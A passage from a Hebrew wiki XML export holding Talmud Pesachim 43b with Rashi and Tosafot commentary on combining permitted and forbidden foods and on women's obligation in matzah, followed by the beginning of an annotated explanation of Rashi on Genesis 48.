''' אין''' לי אלא כולו מקצתו מנין. בפרק כל המנחות באות מצה {{ממ|מנחות נח|א}} מפרש אביי אין לי אלא כולו דהיינו כזית מקצתו חצי זית מניין ורבא אמר התם דה&quot;ק אין לי אלא קומץ כולו מקצת קומץ מניין ומסיק התם דאיכא בינייהו דאביי סבר דיש קומץ בפחות מב' זיתים דהיינו כזית לכך מפרש כולו כזית וסבר נמי דיש הקטרה בפחות מזית ואע&quot;ג דבפ' כיצד צולין (לקמן עט.) א&quot;ר יהושע כל הזבחים שבתורה שנשתייר מהן כזית בשר וכזית חלב זורק את הדם משמע דאין הקטרה בפחות מכזית הכא היינו טעמא משום דסבר דיש קומץ בפחות מב' זיתים א&quot;כ כשריבה הכתוב חצי קומץ ע&quot;כ ריבה חצי זית ורבא סבר אין קומץ בפחות מב' זיתים ואין הקטרה בפחות מזית:
[[File:תוס פסחים 3 מג ב מאן שמעת ליה דדריש כל ר' אליעזר.ogg|thumb|תוס_פסחים_3_מג_ב_מאן שמעת ליה דדריש כל ר' אליעזר]]
''' מאן''' שמעת ליה דדריש כל ר' אליעזר. אף על גב דר&quot;ע נמי דריש כל בפ' התערובות {{ממ|זבחים פב|א}} גבי כל חטאת לא קשה דאפילו יהא כר&quot;ע מ&quot;מ לא מישתמיט תנא למימר (שיסבור) שיהא תערובת חמץ בכרת ועוד נראה לר&quot;י דאפילו לרבנן דלא דרשי הכא כל דרשי בעלמא בריש מרובה {{ממ|בבא קמא|סג|א}} דאמר כל רבויא הוא ובפ' שני דסוכה {{הפניה-גמ|סוכה|כח|א}} גבי כל האזרח ודווקא הכא לא דרשי בדבר שאין סברא לרבות כגון עירובו וכגון נשים משום היקשא וכגון מקצת דבל תקטירו וה&quot;פ כמאן כר&quot;א דדריש כל אפילו לדבר שאין סברא לרבות כגון עירובו וכגון נשים ואהא קאמר נמי דרבנן לא דרשי כל:

''' חוץ''' מאיסורי נזיר. אע&quot;ג דחטאת נמי קאמר לקמן לרבי יוחנן היתר מצטרף לאיסור הכא לא חשיב חטאת דבקדשים לא קמיירי:

''' כמאן''' כר&quot;א דדריש כל. נראה לר&quot;י דזעירי משמע ליה דשאור היתר מצטרף לאיסור מדקתני עירובו מניין ת&quot;ל כי כל ומדרבי עירובו א&quot;כ היתר מצטרף לאיסור והיינו כדרבא דלדידיה ה&quot;פ מקצתו מניין היינו זית שלם אבל לאביי דמפרש מקצתו מניין חצי זית לא שייך היתר מצטרף לאיסור דאמשהו דאיסור לחודיה מיחייב והא דמרבה עירובו היינו כשמתערב לגמרי ולא אמר שיתבטל האיסור אגב ההיתר והא דקאמר כמאן כר&quot;א דדריש כל משום דלרבנן אף על גב דדרשי כי כל לא מוקמא ליה לרבות עירובו אלא לרבות מקצתו ורש&quot;י פירש דזעירי משמע ליה מקצת היינו חצי זית קומץ דשאור וחצי זית דמצה ואין מעורבין אלא כל אחד ניכר וק&quot;ל לפירושו טובא חדא דלא הוי זעירי לא כאביי ולא כרבא ועוד מאי קאמר כמאן כר&quot;א הא כרבנן נמי אתיא דהא כי כל דרשי ומוקמינן ליה אמקצתו דהיינו היתר מצטרף לאיסור לפ&quot;ה ועוד בחמץ מנ&quot;ל תערובת כיון דצריך קרא להיתר מצטרף לאיסור ועוד דלפ&quot;ה צ&quot;ל מקצתו מניין פי' חצי זית איסור וחצי זית היתר שאינם מעורבים יחד דאי לאו הכי היינו עירוב ולקמן גבי חטאת משמע דאין היתר מצטרף לאיסור אם לא שיתערב האיסור וההיתר יחד דהא אמר עד שיבלע בבשרה:&lt;קטע סוף=ת/&gt;
&lt;/div&gt;

==עין משפט ונר מצוה==
{{קטע עם כותרת|עין משפט ונר מצוה/פסחים/פרק ג|מג ב}}
[[קטגוריה:בבלי מסכת פסחים]]
{{מפרשים לדף גמרא|פסחים|ג|מג|ב}}</text>
      <sha1>c39tidaid5kowx1d0ynr9mbsjveslh4</sha1>
    </revision>
    <revision>
      <id>3020704</id>
      <parentid>3020702</parentid>
      <timestamp>2026-06-18T20:31:54Z</timestamp>
      <contributor>
        <username>מאירושולי</username>
        <id>35234</id>
      </contributor>
      <comment>/* תוספות */</comment>
      <origin>3020704</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="12728" sha1="48uqub3epqk9w15ovzlrr93ebp7v5la" xml:space="preserve">{{כותרת_ביאור_הלמ|פסחים|מג|ב|מג א|מד א|ביאור=כן}}
&lt;קטע התחלה=ג/&gt;
[דף מג עמוד ב] {{הל&quot;מ-רק-גמרא|סלקא דעתך אמינא: הואיל וכתיב לא תאכל עליו חמץ שבעת ימים תאכל עליו מצות כל שישנו בקום אכול מצה - ישנו בבל תאכל חמץ, והני נשי הואיל וליתנהו בקום אכול מצה, דהויא ליה מצות עשה שהזמן גרמא (היא) - אימא בבל תאכל חמץ נמי ליתנהו, קא משמע לן. והשתא דאתרבו להו בבל תאכל חמץ - איתרבי נמי לאכילת מצה, כרבי (אליעזר) +מסורת הש&quot;ס: [אלעזר]+. דאמר רבי אליעזר: }}{{שוליים|א}}{{הל&quot;מ-רק-גמרא|נשים חייבות באכילת מצה דבר תורה, שנאמר לא תאכל עליו חמץ וגו' כל שישנו בבל תאכל חמץ - ישנו באכילת מצה. והני נשי נמי, הואיל וישנן בבל תאכל חמץ - ישנן בקום אכול מצה. ומאי חזית דהאי כל לרבויי נשים ומפקת עירובו, אימא לרבויי עירובו! - מסתברא, קאי באוכלין - מרבה אוכלין, קאי באוכלין מרבה נאכלין? - מתקיף לה רב נתן אבוה דרב הונא (בריה דרב נתן): וכל היכא דקאי באוכלין לא מרבה נאכלין? והא תניא: כי כל אכל חלב מן הבהמה אשר יקריב, אין לי אלא חלב תמימין שראוי ליקרב, חלב בעלי מומין מנין - תלמוד לומר מן הבהמה. חלב חולין מנין - תלמוד לומר כי כל והא הכא, דקאי באוכלין וקא מרבה נאכלין! - התם דליכא אוכלין - מרבה נאכלין, הכא דאיכא אוכלין - לא שביק להו לאוכלין ומרבה נאכלין. ורבנן דלית להו עירוב - כל לא דרשי. אלא, נשים מנא להו? - כל - לא דרשי, כי כל דרשי. - ורבי אליעזר, אימא: }}{{שוליים|ב}}{{הל&quot;מ-רק-גמרא|כל - לרבות את הנשים, כי כל - לרבות את עירובו! וכי תימא: כי כל - רבי אליעזר לא דריש - והתניא: שאר בל תקטירו אין לי אלא כולו, מקצתו מניין - תלמוד לומר כל עירובו מניין - תלמוד לומר כי כל. מאן שמעת ליה דדריש כל - רבי אליעזר, וקא דריש כי כל! קשיא. }}
{{הל&quot;מ-רק-גמרא|אמר רבי אבהו אמר רבי יוחנן: כל איסורין שבתורה אין היתר מצטרף לאיסור, חוץ מאיסורי נזיר, שהרי אמרה תורה משרת. וזעירי אמר: אף שאור בל תקטירו. כמאן - כרבי אליעזר, דדריש כל. אי הכי – }}
&lt;קטע סוף=ג/&gt;
&lt;/div&gt;

&lt;div class='gmara_rashi'&gt;
==רש&quot;י==
&lt;קטע התחלה=ר/&gt;

'''מצות עשה שהזמן גרמא''' -  נפקא לן בפ&quot;ק דקידושין {{הפניה-גמ|קידושין|כט|א}} דנשים פטורות:

'''קמ&quot;ל''' -  האי כל דמוזהרות על החמץ וכיון דמוזהרות על לאו דחמץ חייבות בעשה דאכילת מצה לילה הראשון ואע&quot;ג דזמן גרמא כר' אליעזר הואיל וישנן בבל תאכל חמץ דנפקא לן מכל אוכל חמץ ישנן בקום אכול מצה:

'''קאי באוכלין''' -  כל דגבי כרת באוכלי חמץ כתיב אבל כל דאזהרה בנאכל כתיב כל מחמצת:

'''קאי באוכלין מרבה נאכלין''' -  בתמיה:

'''אשר יקריב''' -  משמע קדשים ושיהיו תמימים:

'''התם דליכא לרבויי אוכלין''' -  דהא נשים מדרב יהודה נפקי השוה הכתוב אשה לאיש לכל עונשין שבתורה:

'''הכא דאיכא לרבויי אוכלין''' -  דנשים באיסור חמץ דלא נפקי לן מדרב יהודה כדאמרן לעיל לא שביק אוכלין ומרבה נאכלין:

'''ופרכינן ורבנן''' -  דפליגי אדר&quot;א בעירוב דחמץ כיון דלית להו לאו בעירוב פשיטא כל דכתיב גבי אזהרה דכל מחמצת לא דרשי והשתא על כרחך כל דגבי כרת לרבויי נשים נמי לא דרשי ואלא נשים מנא להו:

'''כל''' -  דגבי אזהרה דלא כתיב כי בהדיה לא דרשינן לרבויי נאכלין דעירובו אבל גבי כרת דאוכלין כתיב כי כל אוכל דרשינן ליה:

'''ומקשינן ור&quot;א אימא כל''' -  דכרת לרבויי נשים כי כל דכרת לרבויי עירובו נמי לכרת דכיון דליכא תו אוכלין לרבויי מרבינן ביה נאכלין כדאמרן גבי חלב ואימא על עירובו בכרת:

'''אין לי אלא כולו''' -  בזמן שכל ההקטר מן השאור:

'''מקצתו''' -  חצי זית שאינו הקטר שלם דאין הקטרה פחותה מכזית:

'''עירובו מניין''' -  כשאינו בעין אלא מעורב ונבלל עם מנחה הוגנת של מצות לאחר שפתתן דאינן בעין:

'''אין היתר מצטרף לאיסור''' -  אכל חצי זית חלב וחצי זית בשר בבת אחת אין היתר משלים את שיעור האיסור לחייבו חוץ מאיסורי נזיר שאם אכל חצי זית ענבים וחצי זית לחם בבת אחת חייב שהרי אמרה תורה משרת ענבים לא ישתה חייב על שריית פתו ביין ואי איכא מיין לחודה כזית למה לי קרא וכל משרת לא גרסינן ואית דגרסי ליה ומפרשי דאפילו לרבנן דלא דרשי כל וכל דרשי ולא היא דהא פרכינן לקמן האי מיבעיא ליה לכדתניא משרת ליתן טעם כעיקר ואם איתא נימא ליה אנא טעמא דידי מוכל אלא ממשמעותא דמשרת נפקא ליה וכל לא דריש:

'''אף שאור בל תקטירו''' -  נמי היתר מצטרף לאיסור חצי זית קומץ דשאור וחצי זית דמצה ואינן מעורבין אלא כל אחד ניכר:

'''כר&quot;א דדריש כל''' -  לעיל ומהתם נפקא ליה כדאמרן לעיל מקצתו מניין ת&quot;ל כל ודריש ליה הכי מקצתו מניין חצי זית שאור וחצי זית מצה עמו:&lt;קטע סוף=ר/&gt;
&lt;/div&gt;

&lt;div class='gmara_tosfot'&gt;
==תוספות==
&lt;קטע התחלה=ת/&gt;
[[File:תוס פסחים 3 מג ב סלקא דעתך אמינא כל שישנו בקום אכול מצה.ogg|thumb|תוס_פסחים_3_מג_ב_סלקא דעתך אמינא כל שישנו בקום אכול מצה]]
'''סלקא''' דעתך אמינא כל שישנו בקום אכול מצה. תימה לר&quot;י היכי סלקא דעתך למידרש הכי אדרבה איפכא יש לדרוש דלחומרא מקשינן ואור&quot;י דס&quot;ד דאורחיה דקרא דסיפא מפרש לרישיה משום הכי אמר דבאכילת מצה תלוי דכתיבא בסוף ועוד יש לומר דהכא יש לדרוש יותר היתר לנשים משום ג&quot;ש דט&quot;ו מחג הסוכות והוו מיפטרי ממצה כמו מסוכה דפטר להו בהדיא בפ' הישן {{ממ|סוכה כח|א}} מהלכה למשה מסיני יש מקשים למה נשים אין חייבות בציצי' משום דכל שישנו בלבישת שעטנז ישנו בגדילים כדדרשינן בערכין {{הפניה-גמ|ערכין|ג|ב}} גבי כהנים ולפירוש ר&quot;י דפי' דמסיפא לרישא סברא לדרוש קשה להפך שלא יהו נשים חייבות בכלאים וכי תימא ה&quot;נ והא בפ&quot;ק דביצה {{הפניה-גמ|ביצה|יד|ב}} משמע דכלאים לא חזו למידי:
[[File:תוס פסחים 3 מג ב אין לי אלא כולו מקצתו מנין.ogg|thumb|תוס_פסחים_3_מג_ב_אין לי אלא כולו מקצתו מנין]]
''' אין''' לי אלא כולו מקצתו מנין. בפרק כל המנחות באות מצה {{ממ|מנחות נח|א}} מפרש אביי אין לי אלא כולו דהיינו כזית מקצתו חצי זית מניין ורבא אמר התם דה&quot;ק אין לי אלא קומץ כולו מקצת קומץ מניין ומסיק התם דאיכא בינייהו דאביי סבר דיש קומץ בפחות מב' זיתים דהיינו כזית לכך מפרש כולו כזית וסבר נמי דיש הקטרה בפחות מזית ואע&quot;ג דבפ' כיצד צולין (לקמן עט.) א&quot;ר יהושע כל הזבחים שבתורה שנשתייר מהן כזית בשר וכזית חלב זורק את הדם משמע דאין הקטרה בפחות מכזית הכא היינו טעמא משום דסבר דיש קומץ בפחות מב' זיתים א&quot;כ כשריבה הכתוב חצי קומץ ע&quot;כ ריבה חצי זית ורבא סבר אין קומץ בפחות מב' זיתים ואין הקטרה בפחות מזית:
[[File:תוס פסחים 3 מג ב מאן שמעת ליה דדריש כל ר' אליעזר.ogg|thumb|תוס_פסחים_3_מג_ב_מאן שמעת ליה דדריש כל ר' אליעזר]]
''' מאן''' שמעת ליה דדריש כל ר' אליעזר. אף על גב דר&quot;ע נמי דריש כל בפ' התערובות {{ממ|זבחים פב|א}} גבי כל חטאת לא קשה דאפילו יהא כר&quot;ע מ&quot;מ לא מישתמיט תנא למימר (שיסבור) שיהא תערובת חמץ בכרת ועוד נראה לר&quot;י דאפילו לרבנן דלא דרשי הכא כל דרשי בעלמא בריש מרובה {{ממ|בבא קמא|סג|א}} דאמר כל רבויא הוא ובפ' שני דסוכה {{הפניה-גמ|סוכה|כח|א}} גבי כל האזרח ודווקא הכא לא דרשי בדבר שאין סברא לרבות כגון עירובו וכגון נשים משום היקשא וכגון מקצת דבל תקטירו וה&quot;פ כמאן כר&quot;א דדריש כל אפילו לדבר שאין סברא לרבות כגון עירובו וכגון נשים ואהא קאמר נמי דרבנן לא דרשי כל:
[[File:תוס פסחים 3 מג ב חוץ מאיסורי נזיר.ogg|thumb|תוס_פסחים_3_מג_ב_חוץ מאיסורי נזיר]]
''' חוץ''' מאיסורי נזיר. אע&quot;ג דחטאת נמי קאמר לקמן לרבי יוחנן היתר מצטרף לאיסור הכא לא חשיב חטאת דבקדשים לא קמיירי:

''' כמאן''' כר&quot;א דדריש כל. נראה לר&quot;י דזעירי משמע ליה דשאור היתר מצטרף לאיסור מדקתני עירובו מניין ת&quot;ל כי כל ומדרבי עירובו א&quot;כ היתר מצטרף לאיסור והיינו כדרבא דלדידיה ה&quot;פ מקצתו מניין היינו זית שלם אבל לאביי דמפרש מקצתו מניין חצי זית לא שייך היתר מצטרף לאיסור דאמשהו דאיסור לחודיה מיחייב והא דמרבה עירובו היינו כשמתערב לגמרי ולא אמר שיתבטל האיסור אגב ההיתר והא דקאמר כמאן כר&quot;א דדריש כל משום דלרבנן אף על גב דדרשי כי כל לא מוקמא ליה לרבות עירובו אלא לרבות מקצתו ורש&quot;י פירש דזעירי משמע ליה מקצת היינו חצי זית קומץ דשאור וחצי זית דמצה ואין מעורבין אלא כל אחד ניכר וק&quot;ל לפירושו טובא חדא דלא הוי זעירי לא כאביי ולא כרבא ועוד מאי קאמר כמאן כר&quot;א הא כרבנן נמי אתיא דהא כי כל דרשי ומוקמינן ליה אמקצתו דהיינו היתר מצטרף לאיסור לפ&quot;ה ועוד בחמץ מנ&quot;ל תערובת כיון דצריך קרא להיתר מצטרף לאיסור ועוד דלפ&quot;ה צ&quot;ל מקצתו מניין פי' חצי זית איסור וחצי זית היתר שאינם מעורבים יחד דאי לאו הכי היינו עירוב ולקמן גבי חטאת משמע דאין היתר מצטרף לאיסור אם לא שיתערב האיסור וההיתר יחד דהא אמר עד שיבלע בבשרה:&lt;קטע סוף=ת/&gt;
&lt;/div&gt;

==עין משפט ונר מצוה==
{{קטע עם כותרת|עין משפט ונר מצוה/פסחים/פרק ג|מג ב}}
[[קטגוריה:בבלי מסכת פסחים]]
{{מפרשים לדף גמרא|פסחים|ג|מג|ב}}</text>
      <sha1>48uqub3epqk9w15ovzlrr93ebp7v5la</sha1>
    </revision>
  </page>
  <page>
    <title>ביאור:רש&quot;י בראשית מח</title>
    <ns>106</ns>
    <id>1736057</id>
    <revision>
      <id>3020700</id>
      <parentid>2986356</parentid>
      <timestamp>2026-06-18T20:00:39Z</timestamp>
      <contributor>
        <username>Ori229</username>
        <id>476</id>
      </contributor>
      <comment>ביאור ומקורות</comment>
      <origin>3020700</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="34540" sha1="3rnecp28phoetzgotqximey5o0xkkqw" xml:space="preserve">{{סרגל ניווט בביאור|רש&amp;quot;י|בראשית|בראשית מז|מח|בראשית מט}}
{{מ:טעמי המקרא|18}}
&lt;קטע התחלה=בראשית מח/&gt;{{צ-ברשי|בראשית|מח|א}}
&lt;קטע התחלה=א/&gt;
{{ד&quot;ה ברש&quot;י|ספר=בראשית|פרק=מח|פסוק=א|דיבור=וַיֹּאמֶר לְיוֹסֵף}}אֶחָד מִן הַמַּגִּידִים, וַהֲרֵי זֶה מִקְרָא קָצָר. 
:יֵשׁ אוֹמְרִים, אֶפְרַיִם הָיָה {{ב|רָגִיל|למד אצלו בקביעות}} לִפְנֵי יַעֲקֹב {{ב|בְּתַלְמוּד|בלימוד תורה}}; וּכְשֶׁחָלָה יַעֲקֹב בְּאֶרֶץ גֹּשֶׁן, הָלַךְ אֶפְרַיִם אֵצֶל אָבִיו לְמִצְרַיִם לְהַגִּיד לוֹ.{{הערה|[[מדרש תנחומא ויחי|תנחומא, ו]]: &quot;ויאמר ליוסף הנה אביך חולה&quot; ארז&quot;ל: אפרים אמר לו, שהיה עוסק בתורה עמו.}}
{{ד&quot;ה ברש&quot;י|דיבור=וַיִּקַּח אֶת שְׁנֵי בָנָיו עִמּוֹ}}כְּדֵי שֶׁיְּבָרְכֵם יַעֲקֹב לִפְנֵי מוֹתוֹ.{{הערה|[[מדרש תנחומא ויחי|שם, ה]]: אמר ר' ישמעאל: אתה מוצא שהצדיקים מברכין לבניהם בשעת מיתתן, שכן הוא אומר יצחק לעשו: &quot;ואברכך לפני ה' לפני מותי&quot;, לפיכך כשחלה יעקב, נטל יוסף שני בניו והכניסן אל אביו שיברכם.}}&lt;קטע סוף=א/&gt;

{{צ-ברשי|בראשית|מח|ב}}
&lt;קטע התחלה=ב/&gt;
{{ד&quot;ה ברש&quot;י|ספר=בראשית|פרק=מח|פסוק=ב|דיבור=וַיַּגֵּד}}הַמַּגִּיד לְיַעֲקֹב, וְלֹא פֵרַשׁ מִי; {{ב|וְהַרְבֵּה מִקְרָאוֹת קִצְרֵי לָשׁוֹן|יש הרבה פסוקים בהם מושמטות מילים, ואפילו נושא המשפט, כמו כאן וכמו בפסוק הקודם}}.
{{ד&quot;ה ברש&quot;י|דיבור=וַיִּתְחַזֵּק יִשְׂרָאֵל}}אָמַר: אַף עַל פִּי שֶׁהוּא בְּנִי, מֶלֶךְ הוּא, {{ב|אֶחֱלֹק לוֹ כָּבוֹד|ולכן התאמץ (&quot;וַיִּתְחַזֵּק&quot;) יעקב ועבר משכיבה לישיבה}}. מִכָּאן שֶׁחוֹלְקִים כָּבוֹד לַמַּלְכוּת. וְכֵן מֹשֶׁה חָלַק כָּבוֹד לַמַּלְכוּת: &quot;{{ב|וְיָרְדוּ כָל עֲבָדֶיךָ אֵלֶּה אֵלַי|...וְהִשְׁתַּֽחֲווּ לִי - משה מבשר לפרעה שבמכת בכורות עבדיו של פרעה יכנעו למשה, מבלי להזכיר שגם פרעה יכנע לו}}&quot; {{קטן|([[שמות יא ח|שמות יא, ח]])}}; וְכֵן אֵלִיָּהוּ, &quot;וַיְשַׁנֵּס מָתְנָיו&quot; {{ב|וְגוֹ'|...וַיָּרׇץ לִפְנֵי אַחְאָב - רץ לפני מרכבתו של המלך אחאב, לכבודו, וזאת למרות שאחאב לא היה מלך צדיק}} {{קטן|([[מלכים א יח מו|מל&quot;א יח, מו]])}}.{{הערה| [[מדרש תנחומא בא|תנחומא על פרשת בא, סימן ז]]: ...אמר ליה משה: כן דברת, לא אוסיף עוד ראות פניך, ולא נצא מכאן עד שירדו כל עבדיך אלה אלי וגו'. מכאן שחלק משה כבוד למלכות, שלא אמר ליה: אתה וכל עבדיך [...] יעקב חלק כבוד למלכות, &quot;ויתחזק ישראל וישב&quot;. אליהו חלק כבוד למלכות, ויד ה' הייתה אל אליהו וגו'. ; (ובאופן דומה ב[[מכילתא על שמות יב לא|מכילתא בא פי&quot;ג]]){{ש}}[[זבחים קב א|זבחים ק&quot;ב ע&quot;א]]: א&quot;ר ינאי: לעולם תהא אימת מלכות עליך דכתיב &quot;וירדו כל עבדיך אלה אלי&quot; ואילו  {{ב|לדידיה|לו (לפרעה)}} לא קאמר ליה. רבי יוחנן אמר מהכא: &quot;ויד ה' היתה אל אליהו וישנס מתניו וירץ לפני אחאב&quot;.}}&lt;קטע סוף=ב/&gt;

{{צ-ברשי|בראשית|מח|ד}}
&lt;קטע התחלה=ד/&gt;
{{ד&quot;ה ברש&quot;י|ספר=בראשית|פרק=מח|פסוק=ד|דיבור=וּנְתַתִּיךָ לִקְהַל עַמִּים}}בִּשְּׂרַנִי שֶׁעֲתִידִים לָצֵאת מִמֶּנִּי עוֹד קָהָל וְעַמִּים. וְאַף עַל פִּי {{ב|שֶׁאָמַר לִי &quot;גּוֹי וּקְהַל גּוֹיִם&quot;|בבית אל (לאחר שנולדו כל בני יעקב חוץ מבנימין, שנולד מיד לאחר מכן) ה' הבטיח ליעקב שיצא ממנו &quot;גּוֹי וּקְהַל גּוֹיִם&quot; וכאן השמיט יעקב את המילה &quot;גּוֹי&quot;}} {{קטן|([[בראשית לה יא|בראשית לה, יא]])}}, {{ב|&quot;גּוֹי&quot; אָמַר לִי עַל בִּנְיָמִין|את המילה &quot;גּוֹי&quot; אין צורך להזכיר כעת, כי כבר נתקיימה ההבטחה, בכך שנולד בנימין}}; &quot;קְהַל גּוֹיִם&quot;, {{ב|הֲרֵי שְׁנַיִם לְבַד מִבִּנְיָמִין|יש במילים &quot;קְהַל גּוֹיִם&quot; הבטחה לשני בנים נוספים חוץ מבנימין}}. {{ב|וְשׁוּב|אבל אחרי בנימין}} לֹא נוֹלַד לִי בֵּן - לִמְּדַנִי שֶׁעָתִיד אֶחָד מִשְּׁבָטַי לְהֵחָלֵק; וְעַתָּה אוֹתָהּ מַתָּנָה אֲנִי נוֹתֵן לְךָ.{{הערה|[[בראשית רבה פב ד|ב&quot;ר פב, ד]]: &quot;הייתי אומר: ראובן כבר הוא מבחוץ, שמעון כבר הוא מבחוץ, ובנימין כבר יצא מחלציו ועדיין הוא במעי אמו. חזרתי ואמרתי: גוי זה בנימין, וקהל גוים זה מנשה ואפרים&quot;;{{ש}}[[פסיקתא רבתי/ג|פס&quot;ר פ&quot;ג]]: אלא אמר יעקב: כשאמר לי הקב&quot;ה הדבר הזה היה לי אחד עשר שבטים, וכיון שנולד בנימין אמרתי: הרי מה שאמר לי קהל גוים, והוא שאומר לו: &quot;שני בניך הנולדים לך בארץ מצרים עד בואי אליך מצרימה לי הם&quot; (שם מ&quot;ח ה'). אמר לו אינם שלך אלא שלי, שאמר לי &quot;גוי וקהל גוים&quot; ולא נתן לי אלא את בנימין - הרי אינן שלך אלא שלי.}}&lt;קטע סוף=ד/&gt;

{{צ-ברשי|בראשית|מח|ה}}
&lt;קטע התחלה=ה/&gt;
{{ד&quot;ה ברש&quot;י|ספר=בראשית|פרק=מח|פסוק=ה|דיבור=הַנּוֹלָדִים לְךָ וְגוֹ' עַד בּוֹאִי אֵלֶיךָ}}לִפְנֵי בּוֹאִי אֵלֶיךָ; כְּלוֹמַר, שֶׁנּוֹלְדוּ מִשֶּׁפָּרַשְׁתָּ מִמֶּנִּי עַד שֶׁבָּאתִי אֶצְלְךָ.
{{ד&quot;ה ברש&quot;י|דיבור=לִי הֵם}}{{ב|בְּחֶשְׁבּוֹן|במניין, באותו במעמד של}} שְׁאָר בָּנַי הֵם, לִטֹּל חֵלֶק בָּאָרֶץ {{ב|אִישׁ כְּנֶגְדוֹ|כל אחד מהם כפי שנוטל כל אחד משאר השבטים}}.&lt;קטע סוף=ה/&gt;

{{צ-ברשי|בראשית|מח|ו}}
&lt;קטע התחלה=ו/&gt;
{{ד&quot;ה ברש&quot;י|ספר=בראשית|פרק=מח|פסוק=ו|דיבור=וּמוֹלַדְתְּךָ וְגוֹ'}}אִם תּוֹלִיד עוֹד,{{הערה|רש&quot;י מפרש את המילים &quot;וּמוֹלַדְתְּךָ אֲשֶׁר הוֹלַדְתָּ&quot;, הנאמרות בלשון עבר, כמתייחסות לאפשרות עתידית. פרשנות זו עולה בקנה אחד עם תרגום אונקלוס (&quot;וּבְנִין דְּתוֹלֵיד בָּתְרֵיהוֹן&quot;) ועם תרגום יונתן. מפרשי רש&quot;י מציינים כי מאחר שבתורה ובספר דברי הימים לא נזכרו ליוסף בנים נוספים מלבד אפרים ומנשה, הרי שהפסוק עוסק במקרה תיאורטי בלבד.}} {{ב|לֹא יִהְיוּ בְּמִנְיַן בָּנַי|הם לא יחשבו לבנים נוספים של יעקב (כך שלא יהיו יותר מ-12 שבטים)}}, אֶלָּא בְּתוֹךְ שִׁבְטֵי אֶפְרַיִם וּמְנַשֶּׁה יִהְיוּ נִכְלָלִים, וְלֹא יְהֵא לָהֶם {{ב|שֵׁם בַּשְּׁבָטִים|מעמד של שבט נפרד ועצמאי}} לְעִנְיַן הַ{{ב|נַחֲלָה|חלוקת הקרקעות בארץ ישראל}}. וְאַף עַל פִּי שֶׁנֶּחְלְקָה הָאָרֶץ {{ב|לְמִנְיַן גֻּלְגְּלוֹתָם|לפי המספר הכולל של בני ישראל (חישבו את שטח כל הארץ וחילקו למספר כל האנשים, ולאחר מכן חישבו כמה אנשים יש בכל שבט כך ששבט גדול יקבל שטח גדול המספיק לכל אנשיו וכו')}}, כְּדִכְתִיב: &quot;{{ב|לָרַב|לשבט גדול}} תַּרְבֶּה נַחֲלָתוֹ&quot; {{קטן|([[במדבר כו נד|במדבר כו, נד]])}}, וְכָל אִישׁ וְאִישׁ נָטַל בְּשָׁוֶה, חוּץ מִן הַבְּכוֹרוֹת, {{ב|מִכָּל מָקוֹם|...ואם כן, שואל רש&quot;י: מדוע יש לציין במיוחד לגבי צאצאי בני יוסף העתידיים - הרי הם ממילא יקבלו שטח שווה לכל איש אחר? עונה רש&quot;י שיש חשיבות בהשתייכות לשבט מסויים (אפרים או מנשה) מסיבות אחרות:}} לֹא נִקְרְאוּ שְׁבָטִים אֶלָּא {{ב|אֵלּוּ|ה-12 המקבלים נחלה בארץ: ראובן, שמעון, יהודה... אפרים ומנשה}} [לְהַטִּיל גּוֹרַל הָאָרֶץ לְמִנְיַן שְׁמוֹת הַשְּׁבָטִים, {{ב|וְנָשִׂיא|לכל שבט יש מנהיג רשמי. לאפרים ולמנשה היה נשיא משלהם, אך לשאר בני יוסף לא היה נשיא נפרד; הם היו כפופים לנשיאי אפרים ומנשה.}} לְכָל שֵׁבֶט וָשֵׁבֶט, {{ב|וּדְגָלִים|במסעות בני ישראל במדבר, לכל שבט היה דגל משלו ומיקום מוגדר במחנה. אפרים ומנשה חנו כל אחד תחת דגלו שלו, ושאר בני יוסף חנו תחת הדגלים שלהם}} לָזֶה וְלָזֶה].{{הערה|להרחבה ראו [[ספרי על במדבר כו נג|ספרי פנחס קלה]], [[הוריות ו ב|הוריות ו' ע&quot;ב]].}}&lt;קטע סוף=ו/&gt;

{{צ-ברשי|בראשית|מח|ז}}
&lt;קטע התחלה=ז/&gt;
{{ד&quot;ה ברש&quot;י|ספר=בראשית|פרק=מח|פסוק=ז|דיבור=וַאֲנִי בְּבֹאִי מִפַּדָּן וְגוֹ'}}וְאַף עַל פִּי שֶׁאֲנִי מַטְרִיחַ עָלֶיךָ לְהוֹלִיכֵנִי לְהִקָּבֵר בְּאֶרֶץ כְּנַעַן, {{ב|וְלֹא כָךְ עָשִׂיתִי לְאִמְּךָ|לא קברתי אותה בארץ, במערת המכפלה, כפי שאני מבקש ממך כעת}}, שֶׁהֲרֵי מֵתָה סָמוּךְ לְבֵית לֶחֶם.
{{ד&quot;ה ברש&quot;י|דיבור=כִּבְרַת אֶרֶץ}}{{ב|מִדַּת אֶרֶץ|שיעור מרחק (קצר יחסית, שהיה יכול יעקב בקלות ללכת משם למערת המכפלה)}}, וְהֵם אַלְפַּיִם אַמָּה כְּמִדַּת {{ב|תְּחוּם שַׁבָּת|המרחק המקסימלי שמותר לאדם להתרחק ממקומו בשבת}}, כְּדִבְרֵי {{ב|רַבִּי מֹשֶׁה הַדַּרְשָׁן|[[W:משה הדרשן|רבי משה בן יעקב מנרבונה]] מחכמי יהדות פרובאנס (דרום צרפת) במחצית הראשונה של המאה ה-11}}.{{ש}}
וְלֹא תֹּאמַר שֶׁעִכְּבוּ עָלַי גְּשָׁמִים מִלְּהוֹלִיכָהּ וּלְקָבְרָהּ בְּחֶבְרוֹן; {{ב|עֵת הַגָּרִיד|זמן של יובש (העונה החמה)}} הָיָה, שֶׁהָאָרֶץ חֲלוּלָה וּמְנֻקֶּבֶת {{ב|כִּכְבָרָה|כמו נפה או מסננת, שהמים נבלעים בהם בקלות ואינם יוצרים בוץ (וזהו פירוש שני ברש&quot;י למילה יוצאת הדופן &quot;כִּבְרַת&quot;. ר' גם פירוש שלישי בהמשך, וכן ר' רש&quot;י על &quot;כִּבְרַת הָאָרֶץ&quot; [[ביאור:רש&quot;י בראשית לה#טז|לעיל לה, טז]] ששם מוזכר גם פירוש נוסף: מְנַחֵם פֵּרֵשׁ לְשׁוֹן כַּבִּיר, רִבּוּי, מַהֲלָךְ רַב)}}.
